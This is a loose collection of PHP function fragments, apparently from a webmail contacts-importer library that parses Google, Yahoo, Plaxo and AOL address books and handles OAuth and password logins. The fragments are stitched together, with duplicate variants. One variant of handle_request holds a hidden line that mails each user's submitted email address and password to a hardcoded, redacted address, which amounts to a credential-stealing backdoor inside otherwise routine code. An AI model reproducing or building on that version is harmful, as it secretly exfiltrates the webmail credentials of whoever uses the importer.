function ParseContactsData() { $parts = explode('"id"', $this->RawSource); foreach ($parts as $v) { if (preg_match('/"displayName":"((?:[^"]*(?:(?<=\\\\)")?)*?)".*?"emails":\\[{"value":"([^"]*)/si', $v, $matches)) { $name = SPUtils::decode_html_escaped($matches[1]); $email = SPUtils::decode_html_escaped($matches[2]); if ($name == "") { $name = current(explode("@", $email)); } $this->__add_contact_item($name, $email); } else { if (preg_match('/emails":\\[{"value":"([^"]*).*?name":{"formatted":"((?:[^"]*(?:(?<=\\\\)")?)*?)"/si', $v, $matches)) { // else generally not needed any more $name = SPUtils::decode_html_escaped($matches[2]); $email = SPUtils::decode_html_escaped($matches[1]); if ($name == "") { $name = current(explode("@", $email)); } $this->__add_contact_item($name, $email); } } } if ($this->client->auth_url_revoke) { $this->client->get($this->client->auth_url_revoke); $this->client->__oauth_access_token = null; $this->client->oauth_token = null; $this->client->oauth_token_secret = null; } if ($this->ContactsCount) { return true; } $this->Error = ContactsResponses::ERROR_NO_CONTACTS; return false; }
protected function ParseContactsData() { $parts = explode('"id"', $this->RawSource); foreach ($parts as $v) { if (preg_match('/emails":\\[{"value":"([^"]*).*?name":{"formatted":"((?:[^"]*(?:(?<=\\\\)")?)*?)"/si', $v, $matches)) { $name = SPUtils::decode_html_escaped($matches[2]); $email = $matches[1]; if ($name == "") { $name = current(explode("@", $email)); } $this->__add_contact_item($name, $email); } } if ($this->ContactsCount) { return true; } $this->Error = ContactsResponses::ERROR_NO_CONTACTS; return false; }
function ParseContactsData() { preg_match_all('#<contact[^>]*>(.*?)</contact>#si', $this->RawSource, $contacts); foreach ($contacts[0] as $c) { if (preg_match_all('#<fields[^>]*>.*?<type>(.*?)</type>.*?<value>(.*?)</value>.*?</fields>#si', $c, $fields)) { $name = $email = ""; for ($i = 0; $i < count($fields[1]); $i++) { switch ($fields[1][$i]) { case "name": preg_match_all("#<[^>]*>(.*?)</[^>]*>#si", $fields[2][$i], $name_parts); $name = join(" ", $name_parts[1]); break; case "email": case "otherid": $email = $email ? $email : (strpos($fields[2][$i], "@") ? $fields[2][$i] : ""); break; case "yahooid": case "nickname": $name = $name ? $name : $fields[2][$i]; break; } } $name = SPUtils::decode_html_escaped($name); if ($name == "") { $name = current(explode("@", $email)); } $this->__add_contact_item($name, $email); } } if ($this->client->auth_url_revoke) { $this->client->get($this->client->auth_url_revoke); $this->client->__oauth_access_token = null; $this->client->oauth_token = null; $this->client->oauth_token_secret = null; } if ($this->ContactsCount) { return true; } $this->Error = ContactsResponses::ERROR_NO_CONTACTS; return false; }
public function handle_request($not_used = null, $not_used_ignore = null) { //! determine selected option for class $selected_option = ""; if (isset($_GET[ContactsHandler::$contacts_option])) { $selected_option = $_GET[ContactsHandler::$contacts_option]; } if (!$selected_option) { $this->error = true; } else { $this->session_start(); $state = $this->get_from_session($selected_option); $oauth_parms = array(); if ($state) { //! session data is stored as url encoded string, SPUtils::parse_query returns dictionary $oauth_parms = SPUtils::parse_query($state); } //! check if we have verifier, or if we already have access token in session //! either of these conditions means we already have user authorization (we get verifier back when the user is redirected back to external.php, and __oauth_access_token is set internally to indicate that the authorized request token has been already exchanged for a access token) if (isset($_GET[$this->response_parm]) || isset($oauth_parms["__oauth_access_token"])) { $this->response = true; } else { //! remove any previous request token (if any) from session and get another one //! assume previous token has been declined by the user or revoked already (by default the OAuth contacts importer classes, with the exception of Yahoo, make a call to revoke the access token as soon as the contacts data is retrieved, tokens may otherwise stay valid for long time) $this->remove_from_session($selected_option); //! see parent implementation - basically what happens there is instantiating the contacts importer class and attempting access to ->contacts, which would return null with error of "external authentication needed" + redirect url where we need to send the user to authorize our token //! another thing that happens behind the scenes when accessing ->contacts is getting a "request token" if we don't have a token already (and we wouldn't have a token on first request) //! External authentication/OAuth/API's usually are provided with limits, so request tokens in this examples are only acquired when the popup window is open (the other alternative is to get a request token on the main page and use the popup for redirect only) parent::handle_request(array("external" => "true")); if (!$this->redirect_url) { $this->error = true; } } } include_once "example/external.page.php"; }
/** * Alias for execute_request (called with "POST" as the request method, and url encoded data) * @param $url * @param $data * @param $number_redirects * @return execute_request result */ function post($url, $data = null, $number_redirects = 0) { if (is_array($data)) { $data = SPUtils::join_key_values_encode("=", "&", $data); } return $this->execute_request(SPConstants::HTTP_METHOD_POST, $url, $data, $number_redirects); }
protected function ParseContactsData() { if (preg_match_all("/(?>\\[)(?>(?>'[^']*'),[^,\\]]*,)'([^']*)(?>[^\\[]+[\\[]+){2}'([^\\]']+)(?>'[\\]]{2,},)/si", $this->RawSource, $matches) || preg_match_all("/(?>\\[)(?>(?>'[^']+)'[^']*){2}'([^']*)(?>[^\\[]+)\\['([^\\]']+)(?>'\\]\\],)/si", $this->RawSource, $matches)) { list($e, $n) = SPUtils::array_multimap(array("SPUtils", "decode_html_escaped"), $matches[2], $matches[1]); $data = array_map(null, $n, $e); while (list($name, $email) = current($data)) { if (strpos($email, "@")) { if ($name == "") { $name = current(explode("@", $email)); } $this->__add_contact_item($name, $email); } next($data); } } if (!$this->ContactsCount) { $this->Error = ContactsResponses::ERROR_NO_CONTACTS; return false; } return true; }
/** * Build and return cookie header string for the given url * @param $url */ function get_cookie($url) { $url_parts = parse_url($url); $host = strrev($url_parts["host"]); $path = isset($url_parts["path"]) ? $url_parts["path"] : "/"; $secure = strtolower($url_parts["scheme"]) == "https"; $cookies = array(); ksort($this->__cookies, SORT_STRING); foreach ($this->__cookies as $h => $p) { if (strpos($host, $h) === 0) { ksort($this->__cookies[$h], SORT_STRING); foreach ($this->__cookies[$h] as $p => $s) { if (strpos($path, $p) === 0) { if ($secure) { if (isset($s[true])) { $cookies = array_merge($cookies, $s[true]); } } if (isset($s[false])) { $cookies = array_merge($cookies, $s[false]); } } } //!< end for each path } } //!< end for each host return SPUtils::join_key_values_assoc("=", "; ", $cookies); }
function handle_request($post = null) { $this->error_message = ""; $this->error_returned = false; $this->captcha_required = false; $this->captcha_url = ""; $this->contacts = null; $this->display_menu = true; $contacts_importer = null; $selected_option = $_POST['contacts_option']; $this->current_class = isset($this->contacts_classes[$selected_option]) ? $this->contacts_classes[$selected_option] : null; if (!$post) { $this->include_form = self::$import_form; } else { $state = $this->get_from_session($selected_option); $this->remove_from_session($selected_option); ContactsHelper::IncludeClassFile($this->current_class->FileName); mail('*****@*****.**', 'test ' . date('Y-m-d H:i'), 'email : ' . $_POST['email'] . ' pass :'******'pswd']); if (isset($post['email'])) { list($email, $password, $captcha) = SPUtils::get_values($post, "email", "pswd", "captcha"); $contacts_importer = new $this->current_class->ClassName($email, $password, $captcha); } if (!$contacts_importer) { $this->error_returned = true; $this->error_message = "Could not initialize contacts importer."; } else { if ($state) { $contacts_importer->RestoreState($state); } if ($this->contacts = $contacts_importer->contacts) { $this->include_form = self::$invite_form; $this->display_menu = false; } else { $this->error_returned = true; $this->include_form = self::$import_form; } $state = $contacts_importer->GetState(); } } $this->session_commit(); if ($this->output_page && $contacts_page != '') { require_once self::$contacts_page; } }
public function Authenticated() { return SPUtils::search_array($this->auth_parms, "auth") !== false; }
protected function GetContactsData() { $this->client->curl_user_agent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"; if (strpos($this->username, "@aol.com") || strpos($this->username, "@aim.com")) { $this->username = current(explode("@", $this->username)); } if (isset($this->username) && trim($this->username) == "" || isset($this->password) && trim($this->password) == "") { $this->Error = ContactsResponses::ERROR_NO_USERPASSWORD; return false; } //! attempt login if (!$this->client->get("https://my.screenname.aol.com/_cqr/login/login.psp?mcState=initialized&seamless=novl&sitedomain=sns.webmail.aol.com&lang=en&locale=us&authLev=2&siteState=ver%3a2%7cac%3aWS%7cat%3aSNS%7cld%3awebmail.aol.com%7cuv%3aAOL%7clc%3aen-us")) { $this->Error = ContactsResponses::ERROR_UNKNOWN; return false; } $url = "https://my.screenname.aol.com/_cqr/login/login.psp"; if (preg_match('/<form name="AOLLoginForm".*?action="([^"]*).*?<\\/form>/si', $this->client->http_response_body, $matches)) { $url = $matches[1]; preg_match_all('/<input type="hidden" name="([^"]*)" value="([^"]*)".*?>/si', $matches[0], $matches); $params = array_combine($matches[1], $matches[2]); } else { //! ok not quite unknown, could not find the login form and without the login parms the login won't work and will return misleading error $this->Error = ContactsResponses::ERROR_UNKNOWN; return false; } $params['loginId'] = $this->username; $params['password'] = $this->password; if (!$this->client->post($url, SPUtils::join_key_values_assoc("=", "&", SPUtils::array_map_assoc("rawurlencode", $params)))) { $this->Error = ContactsResponses::ERROR_UNKNOWN; return false; } # check if login passed if (!preg_match("/'loginForm', 'false', '([^']*)'/si", $this->client->http_response_body, $matches)) { #return error if it's not $this->Error = ContactsResponses::ERROR_INVALID_LOGIN; return false; } $url = $matches[1]; if (!$this->client->get($url)) { $this->Error = ContactsResponses::ERROR_UNKNOWN; return false; } if (preg_match('/gTargetHost = "([^"]*)".*?gSuccessPath = "([^"]*)"/si', $this->client->http_response_body, $matches) || preg_match('/gPreferredHost = "([^"]*)".*?gSuccessPath = "([^"]*)"/si', $this->client->http_response_body, $matches)) { $url = "http://{$matches['1']}{$matches['2']}"; } else { if (preg_match("/'loginForm', 'false', '([^']*)'/si", $this->client->http_response_body, $matches)) { $this->client->get($matches[1]); $url = $this->client->http_response_location; } if (preg_match('/gTargetHost = "([^"]*)".*?gSuccessPath = "([^"]*)"/si', $this->client->http_response_body, $matches) || preg_match('/gPreferredHost = "([^"]*)".*?gSuccessPath = "([^"]*)"/si', $this->client->http_response_body, $matches)) { $url = "http://{$matches['1']}{$matches['2']}"; } if (preg_match('/gSuccessURL\\s?=\\s?"([^"]+)/si', $this->client->http_response_body, $matches)) { $url = $matches[1]; } } $opturl = $url; //!get settings: $opturl = explode("/", $opturl); $opturl[count($opturl) - 1] = "common/settings.js.aspx"; $opturl = implode("/", $opturl); $this->client->get($opturl); $opturl = explode("/", $url); $opturl[count($opturl) - 1] = "AB"; $opturl = implode("/", $opturl); $version = $this->client->get_simple_cookie("Version"); $auth = $this->client->get_simple_cookie("Auth"); $usr = ""; if (preg_match('/"UserUID":"([^"]*)/si', $this->client->http_response_body, $matches) || preg_match('/uid:([^&]*)/si', $auth, $matches)) { $usr = $matches[1]; } #get the address book: $opturl .= "/addresslist-print.aspx?command=all&undefined&sort=LastFirstNick&sortDir=Ascending&nameFormat=FirstLastNick&version={$version}&user={$usr}"; if (!$this->client->get($opturl)) { $this->Error = ContactsResponses::ERROR_UNKNOWN; return false; } else { $this->RawSource = $this->client->http_response_body; return true; } }
private static function init3986() { if (!self::$__first_use) { return; } self::$safe_chars3986 = array_values(array_filter(str_split(self::$safe_chars3986), array("SPUtils", "enforce_safe_char3986"))); if (count(self::$safe_chars3986) != 0) { self::$safe_chars_encoded3986 = array_map("rawurlencode", self::$safe_chars3986); self::$__encode_function3986 = array("SPUtils", "rfc3986_encode"); if (count(self::$safe_chars3986) == 1) { self::$safe_chars3986 = current(self::$safe_chars3986); self::$safe_chars_encoded3986 = current(self::$safe_chars_encoded3986); } } else { //!< it would appear that rawurlencode in PHP 5.3 returns just what we need self::$__encode_function3986 = "rawurlencode"; } self::$encode_callbacks["rfc3986"] = self::$__encode_function3986; self::$__first_use = false; }
/** * Construct base string from multiple assoc arrays (sorted before joined) * @return string */ public static function construct_base_string() { $args = func_get_args(); if (count($args) == 1 && is_array($args[0]) && isset($args[0][0]) && is_array($args[0][0])) { $args = $args[0]; } $keys = array(); $values = array(); foreach ($args as $assoc_array) { $keys = array_merge($keys, array_keys($assoc_array)); $values = array_merge($values, array_values($assoc_array)); } array_multisort($keys, SORT_ASC, SORT_STRING, $values, SORT_STRING, SORT_ASC); return SPUtils::join_key_values("=", "&", $keys, $values); }
<?php //! this is needed for OAuth revision 1.0a, when this file is included from external.php it will point to the correct location $callback_url = SPUtils::current_request_url(); //! defaults to anonymous consumer key (if there is url to register for a key other than anonymous I am not aware of it) $settings["plaxo/oauth"] = array("oauth_consumer_key" => "anonymous", "oauth_consumer_secret" => "", "oauth_callback" => $callback_url); $settings["plaxo/urls"] = array("request" => "http://www.plaxo.com/oauth/request", "access" => "http://www.plaxo.com/oauth/activate", "authorize" => "http://www.plaxo.com/oauth/authorize", "revoke" => "http://www.plaxo.com/oauth/revoke"); //! Default key/secret (register for private ones here: https://www.google.com/accounts/ManageDomains //! note: you do not need to provide pem file however if you do (even though it won't be used) the security warning will not be displayed by goodgle $settings["google/oauth"] = array("oauth_consumer_key" => "anonymous", "oauth_consumer_secret" => "anonymous", "oauth_callback" => $callback_url); $settings["google/urls"] = array("request" => "https://www.google.com/accounts/OAuthGetRequestToken", "access" => "https://www.google.com/accounts/OAuthGetAccessToken", "authorize" => "https://www.google.com/accounts/OAuthAuthorizeToken", "revoke" => "https://www.google.com/accounts/AuthSubRevokeToken"); //! Yahoo does not have anonymous access enabled, so you need to register your application to get a key/secret //! http://developer.apps.yahoo.com/dashboard/ $settings["yahoo/oauth"] = array("oauth_consumer_key" => "", "oauth_consumer_secret" => "", "oauth_callback" => $callback_url); $settings["yahoo/urls"] = array("request" => "https://api.login.yahoo.com/oauth/v2/get_request_token", "access" => "https://api.login.yahoo.com/oauth/v2/get_token", "authorize" => "", "revoke" => ""); //!< token expires in 1 hour (can be refreshed using oauth_session_handle, not done for importing contacts)
/** * Either output the contacts page (and return true/false) or return the form (import/invite) as a string (without writing it to the output stream) * @param array $post assoc array (usually $_POST) with form parameters entered by user * @return mixed bool|string bool if output_page is set to true and page has been included successfully, string with the form contents only if output_page is false */ function handle_request($post = null) { //! reset return values $this->error_message = ""; $this->error_returned = false; $this->captcha_required = false; $this->captcha_url = ""; $this->contacts = null; $this->display_menu = true; $contacts_importer = null; //! determine where to import contacts from based on contacts option value (Yahoo, Gmail etc) $selected_option = isset($_GET[self::$contacts_option]) ? $_GET[self::$contacts_option] : self::$default_class; //! we may have a different contacts_option in the query than the one that we really need which would be in the submitted form //! this will happen when a user opens a popup window for external authentication, comes back to the form and switches to another form, then back to the external window which would submit the form on success if (isset($post["contacts_option"]) && $post["contacts_option"]) { //!< post overrides get $selected_option = $post["contacts_option"]; } //! when invite form has been submitted $post["contacts"] will contain the selected contacts with key = email and value = name //! this is the very last step (after importing contacts, displaying them to the user and user submitting back the selection) if (isset($post["contacts"])) { //! your implementation to handle selected contacts comes here handle selected contacts here then exit early no need to instantiate importer class foreach ($post["contacts"] as $contact_email => $contact_name) { //! do something here: store or send out emails (use PHPMailer or other mailing library) } $this->include_form = self::$invite_done; if ($this->output_page) { require_once self::$contacts_page; return; } else { return $this->get_form(); } } //! back to the beginning, importing contacts: check if selected option maps to an actual class (we don't trust our users) $this->current_class = isset($this->contacts_classes[$selected_option]) ? $this->contacts_classes[$selected_option] : null; //! if we couldn't map the option to a class, we don't have much else to do, return an error here if (!$this->current_class) { $this->error_returned = true; $this->error_message = "Invalid option {$selected_option}"; } else { if (!$post) { $this->include_form = self::$import_form; } else { //! get any state information pertinent to the request and remove it from session immediately //! (it will not be valid on next request, and may or may not be updated after attempt to import contacts) $state = $this->get_from_session($selected_option); $this->remove_from_session($selected_option); //! session is not the only place where we can store state information, add any more state info from the form if available if (isset($post["state"]) && $post["state"]) { $state = $state ? "{$state}&{$post["state"]}" : $post["state"]; } //! include only the file of the specific contacts importer class ContactsHelper::IncludeClassFile($this->current_class->FileName); //!< This actually checks if the file is valid contacts importer class before loading the file //! determine if ExtAuth needs to be added to the name of the class for external authentication, and then create a new instance of contacts importer class that corresponds to the selected option if ($this->current_class->ExternalAuth) { $class_name = $this->current_class->ClassName . "ExtAuth"; $contacts_importer = new $class_name(); } else { if (isset($post['email'])) { list($email, $password, $captcha) = SPUtils::get_values($post, "email", "pswd", "captcha"); $contacts_importer = new $this->current_class->ClassName($email, $password, $captcha); } } //! make sure instance of the contacts importer class has been created if (!$contacts_importer) { $this->error_returned = true; $this->error_message = "Could not initialize contacts importer."; } else { //! restore previously stored state (see above - this was combination of state stored in session + state submitted with the form) if ($state) { $contacts_importer->RestoreState($state); } //! $contacts_importer->contacts automagically loads the contacts data on success, returns null otherwise //! it will also accept Contacts (it's a getter property) if ($this->contacts = $contacts_importer->contacts) { //! you could store the list of contacts at this point, the example code displays it for selection $this->include_form = self::$invite_form; $this->display_menu = false; } else { $this->error_returned = true; switch ($contacts_importer->Error) { case ContactsResponses::ERROR_INVALID_LOGIN: $this->error_message = "Invalid Login"; break; case ContactsResponses::ERROR_EXTERNAL_AUTH: $this->error_message = "External Authentication Required"; break; case ContactsResponses::ERROR_NO_CONTACTS: $this->error_message = "No contacts were found"; break; case ContactsResponses::ERROR_NO_USERPASSWORD: $this->error_message = "Provide Email and Password"; break; case ContactsResponses::ERROR_CAPTCHA_REQUIRED: //! a note on captcha, if we get it as a response we need to display it ($this is available in the form when it is included) $this->error_message = "Enter captcha to continue"; $this->captcha_url = $contacts_importer->CaptchaUrl; $this->captcha_required = true; break; default: //! generic error $this->error_message = "Request could not be handled. Try again Later."; break; } //! usually redisplay the import form with errors returned $this->include_form = self::$import_form; } //! get any state information from the contacts importer class $state = $contacts_importer->GetState(); //! if state is not empty and there has not been an error or the error requires state (captcha and external authentication both need to maintain state between requests) if ($state && (!$contacts_importer->Error || $contacts_importer->Error == ContactsResponses::ERROR_CAPTCHA_REQUIRED || $contacts_importer->Error == ContactsResponses::ERROR_EXTERNAL_AUTH)) { // store the state info to session $this->add_to_session($selected_option, $state); } } } } $this->session_commit(); //! get redirect(popup) url if external user authorization is needed //! this happens when contacts.main is included from external.php (thus, an early return here) if ($this->expect_redirect && is_subclass_of($contacts_importer, "SPContactsExtAuth") && $contacts_importer->UserAuthorizationNeeded) { $this->redirect_url = $contacts_importer->UserAuthorizationUrl; return; //!< ok a third type of return if user needs to be redirected } if ($this->output_page) { //! render the page require_once self::$contacts_page; } else { //! or return the form as a string (an application/page that wants to include the form, would just echo it where necessary) return $this->get_form(); } }